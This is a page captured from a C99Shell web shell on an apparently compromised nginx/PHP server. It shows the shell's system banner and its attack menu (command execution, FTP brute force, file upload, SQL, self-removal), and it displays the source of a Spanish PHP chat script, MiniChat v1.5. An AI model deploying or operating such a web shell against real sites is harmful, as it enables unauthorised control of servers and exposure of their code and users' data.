!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/minichat2/   drwxrwxr-x
Free 83.25 GB of 96.73 GB (86.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     minichat.php (10.78 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
#*****************************
#*** MiniChat v1.5         ***
#*** Creado por: Electros  ***
#*** Web: www.electros.net ***
#*****************************

# * Se muestran todos los errores
@error_reporting(E_ALL) ;
$rand=rand(111111,999999);
#*********************
#*** Configuraci�n ***
#*********************
?>
<head>


<script>
var miPopup
function abreVentana(){
    miPopup = window.open("caritas.html?rand=<?echo $rand;?>","miwin","width=300,height=150,scrollbars=yes")
    miPopup.focus()
}
</script>
<body>
<?

# Mensajes a mostrar (0 para mostrar todos)
$mostrar 100 ;
# Maximo de caracteres por nick
$max_nick 20 ;
# Maximo de caracteres por web
$max_web 50 ;
# Maximo de caracteres por mensaje
$max_mensaje 250 ;
# Maximo de caracteres por palabra (palabras muy grandes pueden descuadrar el dise�o y
# ocasionar que el minichat no se vea correctamente), si no deseas esta opci�n pon 0.
$max_palabra 20 ;
# �Mostrar caretos en los mensajes? (SI / NO)
$caretos 'SI' ;
# �Mostrar fecha en los mensajes? (SI / NO)
$fecha_mensajes 'SI' ;
# �Mostrar IP en los mensajes? (SI / NO)
$ip_mensajes 'NO' ;
# Estilo (archivo que contiene el estilo del minichat, tipo de letra, tama�o, color, fondo, �tc.)
$estilo 'estilo.css' ;
# �Activar filtro Anti-SPAM? (para evitar el env�o excesivo de direcciones webs, busca cualquier
# direcci�n web contenida en el mensaje y mostrar� el aviso indicado) (SI / NO)
$antispam 'NO' ;
# Aviso que se mostrar� cuando alguien realice SPAM (s�lo si el filtro Anti-SPAM est� activado)
$antispam_aviso '<i>SPAM</i>' ;
# �Censurar palabras altisonantes? (SI / NO)
$censura 'NO' ;
# Permitir c�digo HTML (se recomienda que est� desactivado) (SI / NO)
$codigo 'NO' ;
# Altura de la tabla de mensajes (cuando los mensajes mostrados rebasan la altura marcada
# aparece una barra de desplazamiento) 
$altura 170 ;
# �Mostrar enlace hacia la web del autor? (SI / NO)
$publicidad 'NO' ;
date_default_timezone_set('Europe/Madrid');

  INCLUDE 
"../conn.php";
  include 
"../classes/class.log.php";   
 
 
$control= new control();

 
$anonimo=true;       
 if (
$control->usuario<>"anonimo")$anonimo=false;   

# ***********************************
# *** Fin de configuraci�n b�sica ***
# ***********************************

# Lo que sigue modificalo bajo tu propia responsabilidad.

# *** Caretos ***
function caretos($texto) {
    
# --> Inicio caretos
    
$lista_caretos = array(
        
':-]'   => 'alegre.gif',
    
':-)'   => 'sonrisa.gif',
    
':P'   => 'burla.gif',
    
':(1'  => 'demonio.gif',
    
':?'   => 'duda.gif',
    
';)'   => 'guino.gif',
    
':lol' => 'lol.gif',
    
':|'   => 'neutral.gif',
    
':-)'  => 'sonrisa.gif',
    
':O'   => 'sorprendido.gif',
    
':8'   => 'asustado.gif',
    
':S'   => 'confundido.gif',
    
':(2'  => 'demonio2.gif',
    
':-('  => 'enojado.gif',
    
':\(' => 'llorar.gif',
    
':M'   => 'moda.gif',
    
':)'   => 'risa.gif',
    
':R'   => 'sonrojado.gif',
    
':('   => 'triste.gif',
     
':clap:' =>'clap.gif'
    
) ;
    
# --> Fin caretos
    
foreach($lista_caretos as $a => $b$texto str_replace($a,'<img src="caretos/'.$b.'"   alt="Careto" align="top">',$texto) ;
    return 
$texto ;
}

# *** Palabras censuradas ***
function censura($texto) {
    
# --> Inicio palabras
    
$lista_censura = array(
    
'insulto1' => '*****',
    
'insulto2' => '*****',
    
'insulto3' => '*****',
    
chr(13) => ' '
    
) ;
    
# --> Fin palabras
    
foreach($lista_censura as $a => $b$texto str_replace($a,$b,$texto) ;
    return 
$texto ;
}

#*******************************
#*** Fin de la configuraci�n ***
#*******************************

# * Definir el nombre del archivo donde se guardar�n los mensajes
define('m','minichat.txt') ;

# * Comprobar si existe el archivo y si se puede escribir en �l
if(file_exists(m)) {
    if(!
is_writable(m)) exit('El archivo <b>'.m.'</b> debe tener el permiso CHMOD 666.') ;
}
else {
    
# Se intenta crear el archivo, si no se avisa al usuario
    
if(!@fopen(m,'w')) exit('El directorio del MiniChat debe tener el permiso CHMOD 777.') ;
}

# * Guardar mensaje
if(isset($_POST['enviar'])) {
    function 
quitar_etiq($a) {
        
$a preg_replace('/<.*>/iU','',$a) ;
        return 
$a ;
    }
    function 
quitar($a) {
        
$a trim($a) ;
        
$a stripslashes($a) ;
        
# Se elimina el separador de datos en caso de que alquien malintencionado lo inserte
        
$a str_replace('|','',$a) ;
        
# Se elimina el caract�r especial ASCII 160 (es un espacio en blanco que no puede ser eliminado por trim())
        # Se elimina el caract�r especial ASCII 13,   
        
$a str_replace(chr(10),chr(13),$a) ;
        
$a htmlspecialchars($a) ;
        return 
$a ;
    }
    
    
    
$crypt=new Encriptor;
    
    
    
    
    
$nick quitar(quitar_etiq($crypt->decrypt($_POST['nick']))) ;
    
    unset (
$crypt);
    
    
    
$web quitar(quitar_etiq($_POST['web'])) ;
    
$mensaje quitar($_POST['mensaje']) ;
    
// aqui montamos el acortador de URLS.
        
    
if ($inicio=strpos($mensaje,"http")){
        
$final=strlen($mensaje);
        
$mensaje.=" ";
        
//buscamos un espacio despues de http
        
$ccadena="";
        for (
$k=$inicio;$k<=$final;$k++){
            
            
$caracter=substr($mensaje,$k,1);
            
//echo $caracter."-".ord($caracter)."<br>";
            
if ($caracter==" "){
                
//echo substr($mensaje,$inicio,$k-$inicio);
                
$k=65535;
            }else{
            
$ccadena.=substr($mensaje,$k,1);

            }
        }
        
        
// seguimos dentro del if. Ahora que tenemos la cadena en $ccadena, la lanzamos contra el servicio:
        
$ch curl_init("lb.cm/shurly/api/shorten?longUrl=$ccadena&format=txt");
        
curl_setopt($chCURLOPT_HEADER0);
        
curl_setopt($chCURLOPT_GET1);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
$output curl_exec($ch);      
        
curl_close($ch);
    
        
        
// Y AHORA, SUSTITUIMOS LA URL POR LA GENERADA
        
$mensaje=str_replace($ccadena,"<a href = '$output' > $output </a> ",$mensaje);
   
        
    }
    
    

    
    
    
# * Se comprueba que los datos no excedan las longitudes fijadas en la configuraci�n
    
switch(true) {
        case 
strlen($nick) > $max_nick :
            
$error 'El nick no debe ser mayor de '.$max_nick.' caract�res.' ;
            break ;
        case 
strlen($web) > $max_web :
            
$error 'El email o web no debe ser mayor de '.$max_web.' caract�res.' ;
            break ;
        case 
strlen($mensaje) > $max_mensaje :
            
$error 'El mensaje no debe ser mayor de '.$max_mensaje.' caract�res.' ;
            break ;
        case !
$nick || $nick == 'Tu nick' :
            
$error 'Debes escribir un nick.' ;
            break ;
        case !
$mensaje || $mensaje == 'Tu mensaje' :
            
$error 'Debes escribir un mensaje.' ;
            break ;
        case 
$control->usuario=="anonimo"  :
            
$error 'No permitido para usuarios an�nimos.' ;
            break ;
        default:
            if(
$web && $web != 'Email o web (opcional)') {
                if(
eregi('^www.',$web)) $web 'http://'.$web ;
            }
            else 
$web false ;
    }
    if(isset(
$error)) exit($error) ;
    
    
    
    
# * El formato de fecha local se aplica con "spanish" para que sea compatible con entornos UNIX y Windows
    
setlocale(LC_TIME,'spanish') ;
    
$fecha strftime('%d %b %Y %H:%M',time()) ;
    
$archivo fopen(m,'a') ;
    
fwrite($archivo,"$nick | $web | $mensaje | $fecha | $_SERVER[REMOTE_ADDR]\n") ;
    
fclose($archivo) ;
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>MiniChat v1.5</title>
<link rel="stylesheet" type="text/css" href="<?=$estilo?>">
<base target="_blank">
</head>
<body>
<div style="width: 100%; height: <?=$altura?>px ; overflow-y: scroll; overflow-x: hidden;">
<?
# * Mostrar los mensajes
$mensajes file(m) ;                 
$total count($mensajes) - ;
if(!
$mostrar || $total $mostrar) {
    
$maximo ;
}
else {
    
$maximo $total $mostrar ;
}
?>
<table width="100%" border="0" cellpadding="1" cellspacing="1">
<?
for($i $total $i >= $maximo $i--) {
    
# Se obtienen todos los datos partiendo cada l�nea del archivo mediante el separador " | "
    
list($nick,$web,$mensaje,$fecha,$ip) = explode(' | ',$mensajes[$i]) ;
    
# Se aplican las funciones seg�n la configuraci�n
    
if($codigo == 'SI'$mensaje html_entity_decode($mensaje) ;
    if(
$censura == 'SI') {
        
$nick censura($nick) ;
        
$web censura($web) ;
        
$mensaje censura($mensaje) ;
    }
    if(
$antispam == 'SI'$mensaje preg_replace('/(http:\/\/|www.)[^\s]+/i',$antispam_aviso,$mensaje) ;
    
# Si el usuario escribi� un email o web, se crea el enlace correspondiente dentro del nick
    
if(!$web$nick '<b>&lt;'.$nick.'&gt;</b>' ;
    else {
        if(
eregi('^[0-9a-z_.-]+@[0-9a-z_.-]+[a-z]{2,3}$',$web)) $web 'mailto:'.$web ;
        
$nick "<a href=\"$web\"><b>&lt;$nick&gt;</b></a>" ;
    }
    
# Se cortan las palabras que excedan la longitud m�xima por palabra
    
if(strlen($mensaje) > $max_palabra) {
        
$palabras explode(' ',$mensaje) ;
        
$total_palabras count($palabras) ;
        for(
$a $a $total_palabras $a++) {
            if(
strlen($palabras[$a]) > $max_palabra$palabras[$a] = wordwrap($palabras[$a],$max_palabra,' ',1) ;
        }
        
$mensaje implode($palabras,' ') ;
    }
    if(
$caretos == 'SI'$mensaje caretos($mensaje) ;
    
$n $i ;
?>
<tr>
<td class="mensaje<?=$n?>">
<?=$nick.' '.$mensaje?>
<?
if($fecha_mensajes == 'SI') echo '<div class="fecha">'.$fecha.'</div>' ;
if(
$ip_mensajes == 'SI') echo '<div class="ip">'.$ip.'</div>' ;
?>
</td>
</tr>
<?
}
?>
</table>
</div>
<script type="text/javascript">
enviando = 0 ;
function limpiar(campo) {
    if(campo.value == 'Tu nick') campo.value = '' ;
    if(campo.value == 'Email o web (opcional)') campo.value = '' ;
    if(campo.value == 'Tu mensaje') campo.value = '' ;
}
function validar() {
    if(formulario.nick.value == '' || formulario.nick.value == 'Tu nick') {
        alert('Debes escribir un nick') ;
        return false ;
    }
    if(formulario.mensaje.value == '' || formulario.mensaje.value == 'Tu mensaje') {
        alert('Debes escribir un mensaje') ;
        return false ;
    }
    if(enviando == 0) enviando++ ;
    else {
        alert('El mensaje se est� enviando') ;
        return false ;
    }
}
</script>
 <?if ($control->usuario!="anonimo"){
          
$crypt=new Encriptor;     
      
      
?>   
<div align="center" valign="top    ">
<form name="formulario" method="post" action="minichat.php" target="_self" onsubmit="return validar()">
<input type="hidden" name="nick" size="15" maxlength="<?=$max_nick?>" value="<?ECHO $crypt->encrypt($control->usuario);unset ($crypt);?>"  class="formulario">
<?if ($control->usuario=="darklooker"){?>
<input type="hidden" name="web" size="22" maxlength="<?=$max_web?>" value="http://www.torrebunolives.net16.net
"  class="formulario">
<?}?>
<TEXTAREA NAME="mensaje" ROWS=3 COLS=35 onfocus="limpiar(this)" class="formulario"></TEXTAREA>

<? /*<input type="text" name="mensaje" size="32    " maxlength="<?=$max_mensaje?>" value="Tu mensaje" onfocus="limpiar(this)"class="formulario"><br>
*/
?>
<br><input type="submit" name="enviar" value="Enviar" class="formulario">
<small><a onClick="abreVentana()" style="cursor:pointer;"><u>caritas</u></a></small>


</form>
<? if($publicidad == 'SI') echo '<center><a href="http://www.electros.net">MiniChat v1.5</a></center>' ?>
</div>
<?// fin de anonimo
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0049 ]--